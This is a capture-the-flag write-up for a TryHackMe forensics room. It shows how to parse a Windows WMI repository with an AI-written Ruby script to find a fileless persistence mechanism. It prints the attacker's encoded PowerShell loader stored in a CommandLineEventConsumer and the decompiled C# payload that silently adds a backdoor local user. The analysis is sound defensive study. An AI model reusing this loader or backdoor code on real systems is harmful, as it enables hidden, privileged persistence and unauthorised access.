Information
Room#
- Name: After Hours
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Bar closed. Guests asleep. Something on the network just clocked in for a shift off the rotation.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S wmi-forensics rubyLore
🛎️ Concierge Briefing
Long after the front desk closes and the pool lights dim, the resort's back-office machines keep humming. Someone, or something, has been logging in during the small hours, well after the night-shift technician has gone home.
Nothing obvious shows up in Startup, Scheduled Tasks, or the registry Run keys. Whatever's keeping itself alive is hiding somewhere quieter, tucked away in a corner of the system most tools don't think to check.
🏖️ TODAY'S ITINERARY
Parse the provided system artifacts for hidden custom configuration data
Locate the malicious class and extract its embedded payload
Decode the payload and submit the recovered flag
📸 @0xMia's STORY
"PSA for anyone stuck rn: the usual autoruns/persistence tools straight up don't catch this one 💀 you're gonna have to dig through the raw data by hand #HackerHolidays"
Files discovery#
➜ 7z l attachments-1784136288483.zip
[…]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-07-13 05:27:45 ..... 5070848 1913900 INDEX.BTR
2026-07-13 05:16:04 ..... 79528 28987 MAPPING1.MAP
2026-07-13 05:24:17 ..... 79528 28986 MAPPING2.MAP
2026-07-13 05:30:55 ..... 79528 28990 MAPPING3.MAP
2026-07-13 05:27:45 ..... 24199168 4025528 OBJECTS.DATA
------------------- ----- ------------ ------------ ------------------------
2026-07-13 05:30:55 29508600 6026391 5 filesThose files seem to be WMI related, a CIM repository.
Let's try the old and unmaintained wmi-forensics:
Extracts SCCM software metering RecentlyUsedApplication logs:
➜ python2 /usr/bin/CCM_RUA_Finder -i chall-files/OBJECTS.DATA
100% complete...
"Format"
"FolderPath"
"ExplorerFileName"
"FileSize"
"LastUserName"
"LastUsedTime"
"TimeZoneOffset"
"LaunchCount"
"Timestamp1"
"Timestamp2"
"OriginalFileName"
"FileDescription"
"CompanyName"
"ProductName"
"ProductVersion"
"FileVersion"
"AdditionalProductCodes"
"msiVersion"
"msiDisplayName"
"SoftwarePropertiesHash"
"ProductCode"
"ProductLanguage"
"msiPublisher"
"FilePropertiesHash"Find WMI persistence:
➜ python2 /usr/bin/PyWMIPersistenceFinder chall-files/OBJECTS.DATA
Enumerating FilterToConsumerBindings...
1 FilterToConsumerBinding(s) Found. Enumerating Filters and Consumers...
Bindings:
SCM Event Log Consumer-SCM Event Log Filter
(Common binding based on consumer and filter names, possibly legitimate)
Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~ Service Control Manager
Filter:
Filter name: SCM Event Log Filter
Filter Query: select * from MSFT_SCMEventLogEventNothing useful so far, it's not doing much.
wmi_repository.py from dtformats is not working.
There is no ready-to-go tool for WMI parsing.
AI scripting#
So I ended up prompting DeepSeek to write a very basic WMI parser in Ruby that I adapted a bit.
#!/usr/bin/env ruby
# wmi_repository_parser.rb - Parse WMI repository files (basic)
require 'stringio'
class WMIRepositoryParser
def initialize(directory)
@directory = directory
@files = {
objects: File.join(directory, 'OBJECTS.DATA'),
index: File.join(directory, 'INDEX.BTR'),
mapping1: File.join(directory, 'MAPPING1.MAP'),
mapping2: File.join(directory, 'MAPPING2.MAP'),
mapping3: File.join(directory, 'MAPPING3.MAP')
}
end
def analyze
puts "🔍 Analyse des fichiers WMI dans: #{@directory}"
puts "=" * 60
# 1. Analyse OBJECTS.DATA (le fichier principal)
if File.exist?(@files[:objects])
analyze_objects_file
else
puts "❌ OBJECTS.DATA non trouvé"
end
# 2. Analyse INDEX.BTR (index)
if File.exist?(@files[:index])
analyze_index_file
end
# 3. Analyse des fichiers MAP
analyze_mapping_files
# 4. Recherche de patterns WMI connus
if File.exist?(@files[:objects])
search_wmi_patterns
end
end
# Méthode pour extraire des données en CSV
def export_text_strings(output_file = 'wmi_strings.txt')
if File.exist?(@files[:objects])
File.open(@files[:objects], 'rb') do |f|
data = f.read
# Extraire toutes les chaînes ASCII
ascii_strings = data.scan(/[\x20-\x7E]{4,}/)
# Extraire les chaînes UTF-16 (texte Unicode)
utf16_strings = data.unpack('v*').pack('C*').scan(/[\x20-\x7E]{4,}/)
File.open(output_file, 'w') do |out|
out.puts "=== CHAÎNES ASCII ==="
ascii_strings.each { |s| out.puts s }
out.puts "\n=== CHAÎNES UTF-16 ==="
utf16_strings.each { |s| out.puts s }
end
puts "✅ Exporté vers #{output_file}"
end
end
end
private
def analyze_objects_file
puts "\n📄 OBJECTS.DATA"
puts "-" * 40
size = File.size(@files[:objects])
puts " Taille: #{size} octets (#{(size / 1024.0).round(2)} KB)"
# Lire le fichier en mode binaire
File.open(@files[:objects], 'rb') do |f|
# Lire les 4 premiers octets (magic number possible)
magic = f.read(4)
puts " Magic bytes: #{magic.unpack('H*').first}"
# Lire quelques entêtes
f.seek(0)
# Extraire les chaînes de caractères ASCII/UTF-16
data = f.read
# Rechercher les chaînes de caractères ASCII
ascii_strings = data.scan(/[\x20-\x7E]{4,}/)
# Afficher les classes WMI trouvées
wmi_classes = ascii_strings.grep(/^Win32_|^CIM_|^__/).uniq
if wmi_classes.any?
puts " Classes WMI trouvées (#{wmi_classes.size}):"
wmi_classes.first(10).each do |cls|
puts " - #{cls}"
end
puts " ..." if wmi_classes.size > 10
end
# Rechercher des GUIDs ou SIDs
guids = data.scan(/\{?[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}?/i)
if guids.any?
puts " GUIDs trouvés (#{guids.size}):"
guids.first(5).each { |g| puts " - #{g}" }
end
end
rescue => e
puts " ❌ Erreur: #{e.message}"
end
def analyze_index_file
puts "\n📄 INDEX.BTR"
puts "-" * 40
if File.exist?(@files[:index])
size = File.size(@files[:index])
puts " Taille: #{size} octets (#{(size / 1024.0).round(2)} KB)"
# Lire les premiers octets pour identifier la structure
File.open(@files[:index], 'rb') do |f|
header = f.read(32)
puts " Header (hex): #{header.unpack('H*').first[0..63]}..."
# Vérifier si c'est un fichier BTree
if header[0..3] == "BTR\0"
puts " ✅ Format BTR identifié"
end
end
else
puts " ❌ INDEX.BTR non trouvé"
end
rescue => e
puts " ❌ Erreur: #{e.message}"
end
def analyze_mapping_files
puts "\n📄 Fichiers MAPPING"
puts "-" * 40
[1, 2, 3].each do |num|
file = @files[:"mapping#{num}"]
if File.exist?(file)
size = File.size(file)
puts " MAPPING#{num}.MAP: #{size} octets"
# Lire quelques entrées
File.open(file, 'rb') do |f|
# Les fichiers MAP sont généralement des tableaux de 64-bit
if size > 8
f.seek(0)
entries = []
5.times do
entry = f.read(8)
if entry && entry.length == 8
entries << entry.unpack('Q<').first rescue nil
end
end
entries.compact!
if entries.any?
puts " Premières entrées: #{entries.join(', ')}"
end
end
end
else
puts " MAPPING#{num}.MAP: non trouvé"
end
end
end
def search_wmi_patterns
puts "\n🔍 Recherche de patterns WMI"
puts "-" * 40
patterns = {
"Classes standard" => /Win32_|CIM_/,
"Consumers" => /Consumer/,
"Filters" => /EventFilter|__Filter/,
"Bindings" => /FilterToConsumer/,
"Registry" => /Registry|HKEY/,
"Process" => /Process/,
"Service" => /Service/,
"SID" => /S-1-\d+-\d+/,
}
File.open(@files[:objects], 'rb') do |f|
data = f.read
patterns.each do |name, pattern|
matches = data.scan(pattern)
if matches.any?
puts " ✅ #{name}: #{matches.size} correspondance(s)"
end
end
end
rescue => e
puts " ❌ Erreur: #{e.message}"
end
end
# Utilisation
if __FILE__ == $0
if ARGV.empty?
puts "Usage: ruby wmi_repository_parser.rb <directory>"
puts "Exemple: ruby wmi_repository_parser.rb chall-files/"
exit 1
end
directory = ARGV[0]
unless Dir.exist?(directory)
puts "❌ Le répertoire '#{directory}' n'existe pas"
exit 1
end
parser = WMIRepositoryParser.new(directory)
parser.analyze
puts "\n" + "=" * 60
parser.export_text_strings('wmi_data.txt')
endIt will identify and extract a few type of objects and export printable strings to a text file wmi_data.txt.
➜ ruby wmi_repository_parser.rb chall-files
🔍 Analyse des fichiers WMI dans: chall-files
============================================================
📄 OBJECTS.DATA
----------------------------------------
Taille: 24199168 octets (23632.0 KB)
Magic bytes: 20180b6f
Classes WMI trouvées (1397):
- __SystemClass
- __NAMESPACE
- __thisNAMESPACE
- __Provider
- __Win32Provider
- __ProviderRegistration
- __ObjectProviderRegistration
- __ClassProviderRegistration
- __InstanceProviderRegistration
- __PropertyProviderRegistration
...
GUIDs trouvés (2016):
- {485e7de8-0a80-11d8-ad15-505054503030}
- {485e7de9-0a80-11d8-ad15-505054503030}
- {485e7df0-0a80-11d8-ad15-505054503030}
- {8502C529-5FBB-11D2-AAC1-006008C78BC7}
- {8502C52A-5FBB-11D2-AAC1-006008C78BC7}
📄 INDEX.BTR
----------------------------------------
Taille: 5070848 octets (4952.0 KB)
Header (hex): ccac00004d000000000000000000000026000000000000000000000000000000...
📄 Fichiers MAPPING
----------------------------------------
MAPPING1.MAP: 79528 octets
Premières entrées: 92732638931917, 1627792605564, 12103217843083, 5187847673503285248, 145
MAPPING2.MAP: 79528 octets
Premières entrées: 92745523833805, 1632087572861, 12103217843083, 5187847673503285248, 145
MAPPING3.MAP: 79528 octets
Premières entrées: 92771293637581, 1636382540158, 12103217843083, 5187847673503285248, 145
🔍 Recherche de patterns WMI
----------------------------------------
✅ Classes standard: 8160 correspondance(s)
✅ Consumers: 155 correspondance(s)
✅ Filters: 10 correspondance(s)
✅ Bindings: 2 correspondance(s)
✅ Registry: 1118 correspondance(s)
✅ Process: 1563 correspondance(s)
✅ Service: 2928 correspondance(s)
✅ SID: 24 correspondance(s)
============================================================
Exports des objets textes dans wmi_data.txt
✅ Exporté vers wmi_data.txtContent review#
As we are looking for (potentially malicious) commands, we can search for keywords like CommandLineEventConsumer, powershell, .vbs, cmd.exe, ActiveScriptEventConsumer.
CommandLineEventConsumeris a built-in Windows Management Instrumentation (WMI) class that acts as an event-triggered execution mechanism. It's designed to launch a specified command-line program automatically when a specific system event occurs.
CommandLineEventConsumer is a known technique for malware persistence and lateral movement (mapped to MITRE ATT&CK technique T1546.003).
Key interests for attackers:
- Stealth and Persistence: The subscription is fileless, stored only in the WMI repository, making it difficult to detect with traditional anti-virus. It survives reboots.
- SYSTEM Privileges: The launched payload runs with the highest system privileges.
Some of this subscriptions have registered an obfuscated powershell command (you find it whatever you searched for cmd, powershell or CommandLineEventConsumer):
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXwBIAGEAcgBkAHcAYQByAGUAVABlAGwAZQBtAGUAdAByAHkAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAG4AZgBpAGcARABhAHQAYQAnAF0ALgBWAGEAbAB1AGUAOwANAAoAJABvACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7AA0ACgAkAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGYAaQBsAGUAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsADQAKACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AKAAxADAAMgA0ACkAOwANAAoAJAByACAAPQAgACQAZAAuAFIAZQBhAGQAKAAkAGIALAAwACwAMQAwADIANAApADsADQAKAHcAaABpAGwAZQAoACQAcgAgAC0AZwB0ACAAMAApAHsADQAKACAAIAAgACAAJABvAC4AVwByAGkAdABlACgAJABiACwAMAAsACQAcgApADsADQAKACAAIAAgACAAJAByACAAPQAgACQAZAAuAFIAZQBhAGQAKAAkAGIALAAwACwAMQAwADIANAApADsADQAKAH0ADQAKAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABvAC4AVABvAEEAcgByAGEAeQAoACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAHwATwB1AHQALQBOAHUAbABsAA==The text in the base64 string is encoded with UTF-16. Whatever you use shell base64 + iconv or cyberchef recipe From base64 & Decode text (UTF-16LE), here is the obtained decoded powershell code:
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
$o.Write($b,0,$r);
$r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-NullThis malicious code:
- reads what is probably a shellcode from another WMI object (
Win32_HardwareTelemetry), - base64 decode it,
- uncompress it with deflate,
- write it to memory
- before loading it (executing).
We just have to grep for Win32_HardwareTelemetry in our previous WMI extract to find the malicious base64 blob.
Win32_HardwareTelemetry
ConfigData
string
7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATePt2un3w3ptl5u3SclAOqDF64OTZgwc1mmhiYqMSOXgUTyaamBAOmhhjwt0Y8Tfz3m7/Kty48G3fN9+/+eY3M9/MdOTibWogoiS+R4+I5iiifno83cTX/OJXzfTFmns754zhezsnpl1plgUvCds3HTsIeGgWmCkqgekGZnYsb/q8yKz161O74hzjOaJho4EGN01cqeV9QAljrbG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Ty/doKYvb7w62drz4G1cCkaDSUbSNIwmKM2rqSHR3NzSqgzNq8Badiox0UjGxvaN25MEc3K1sXF7kxHf1DvUmZxIbL4g7PIoD3IzDiuropuYFvy6ND5pnz8RP9TeuRXobvtK1kuDXORmmD4A+nAwZhU9T/setZPZv3KyFSmh7zwMf3Mr2sPRa7rovKobZ/w/7NMr2BUtMdbtt/G9D3jZBe/e73ih/jDm9WyiB3wS1XBJV9Q5SEM0hkq5hHYUlTKm4+4kH/5Ty7uQjsdtkpZ7s9o2iUoQyOOiehhyBqhBrv27dK8JeG1YJfx2vd4i+iz5gXqAgClElAt7aYVMN3VMpv7roQI40X6st1GPz+KTqEiVp7xoHBNfBqU0Hzupz5tcEJNBHc9/au/WIX5I17yKDfTpGAVXJ4Fwcso4J7b2yvmTTR0a0zDkku4xiBHKuBUUqhJ2OKTav2Eq/1hsd+P8NXzBY8fp0fMZ16eziCgHEUtntXxOqs8AItR942MVPSAzH9tP0cOvv+09PuN7ZpUJiaPXlz5oZdImCxxexCXdlz4/cfLA4bQpQzso2h4PWF96lsn08WPrU722lMwveLMmEgSyL10RwVHpTDPflgd81xFc8qnwgMP9o7b0rerBtOnbgTvFZDi5cDSkMs16sqEibnM8LYsQqV/aDHDp96VHZgfKZc919Ptk2eVyujPKEIqK1K/EE+LpikZGT8mcCm782ViHRbBrFeBkxXHhVvHelJh8wqzd6XqWhXlwFTkVhXiYVZlneor3pW05FFT5VSbSZsUdcNRL1JeewmPI4knpJJ0roKlB71yEvbezvghqgzpriwpl2RXwjP6PzOh/1AeHnjaQZ/Q06F8=To read that, we need to re-inflate it, either adding the Raw inflate method to our existing CyberChef receipe or piping a ruby one-liner.
printf %s 7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATePt2un3w3ptl5u3SclAOqDF64OTZgwc1mmhiYqMSOXgUTyaamBAOmhhjwt0Y8Tfz3m7/Kty48G3fN9+/+eY3M9/MdOTibWogoiS+R4+I5iiifno83cTX/O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fxoLKdxOBg5JBc5A3in4fU0+iIdhZ6DtQqv0H4f9kCj9WFDGdWRWnrq777Q+Nbcpx+e/Dj9y0jrTy/doKYvb7w62drz4G1cCkaDSUbSNIwmKM2rqSHR3NzSqgzNq8Badiox0UjGxvaN25MEc3K1sXF7kxHf1DvUmZxIbL4g7PIoD3IzDiuropuYFvy6ND5pnz8RP9TeuRXobvtK1kuDXORmmD4A+nAwZhU9T/setZPZv3KyFSmh7zwMf3Mr2sPRa7rovKobZ/w/7NMr2BUtMdbtt/G9D3jZBe/e73ih/jDm9WyiB3wS1XBJV9Q5SEM0hkq5hHYUlTKm4+4kH/5Ty7uQjsdtkpZ7s9o2iUoQyOOiehhyBqhBrv27dK8JeG1YJfx2vd4i+iz5gXqAgClElAt7aYVMN3VMpv7roQI40X6st1GPz+KTqEiVp7xoHBNfBqU0Hzupz5tcEJNBHc9/au/WIX5I17yKDfTpGAVXJ4Fwcso4J7b2yvmTTR0a0zDkku4xiBHKuBUUqhJ2OKTav2Eq/1hsd+P8NXzBY8fp0fMZ16eziCgHEUtntXxOqs8AItR942MVPSAzH9tP0cOvv+09PuN7ZpUJiaPXlz5oZdImCxxexCXdlz4/cfLA4bQpQzso2h4PWF96lsn08WPrU722lMwveLMmEgSyL10RwVHpTDPflgd81xFc8qnwgMP9o7b0rerBtOnbgTvFZDi5cDSkMs16sqEibnM8LYsQqV/aDHDp96VHZgfKZc919Ptk2eVyujPKEIqK1K/EE+LpikZGT8mcCm782ViHRbBrFeBkxXHhVvHelJh8wqzd6XqWhXlwFTkVhXiYVZlneor3pW05FFT5VSbSZsUdcNRL1JeewmPI4knpJJ0roKlB71yEvbezvghqgzpriwpl2RXwjP6PzOh/1AeHnjaQZ/Q06F8= | base64 -d | ruby -rzlib -e 'print Zlib::Inflate.new(-15).inflate(STDIN.read)' > malicious.binAlso as expected, it does not answer to a specific file format.
➜ file malicious.bin
malicious.bin: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sectionsWrong guess, it's not a shellcode but a Windows PE compiled with .NET.
.NET decompilation#
I know there are well known tools like ILSpy and dnSpy to decompile .NET code, but I wanted to try the less known CodemerxDecompile or even an online tool like https://kluzo.net/.
In both cases the decompilation finds a namespace AfterHours containing a single main class roughly containing this C#:
CodemerxDecompile
using System;
using System.Diagnostics;
namespace AfterHours
{
public class Program
{
public Program()
{
}
public static void Main()
{
try
{
if (!string.Equals(Environment.get_MachineName(), "bytelotusdc", 5))
{
Console.WriteLine("Execution halted: Environment mismatch.");
}
else
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.set_FileName("cmd.exe");
processStartInfo.set_Arguments("/c net user patch VE…EDITED…J9 /add");
processStartInfo.set_WindowStyle(1);
processStartInfo.set_CreateNoWindow(true);
Process.Start(processStartInfo);
}
}
catch
{
}
}
}
}kluzo
using System;
using System.Diagnostics;
namespace AfterHours;
public class Program
{
public static void Main()
{
try
{
if (string.Equals(Environment.MachineName, "bytelotusdc", StringComparison.OrdinalIgnoreCase))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c net user patch VE…EDITED…J9 /add";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
Process.Start(processStartInfo);
}
else
{
Console.WriteLine("Execution halted: Environment mismatch.");
}
}
catch
{
}
}
}If the machine name is bytelotusdc, it will backdoor it by adding a new local user.
The flag is the result of base64 decoding the password of that backdoor user.
➜ echo VE…EDITED…J9 | base64 -d
THM{EDITED}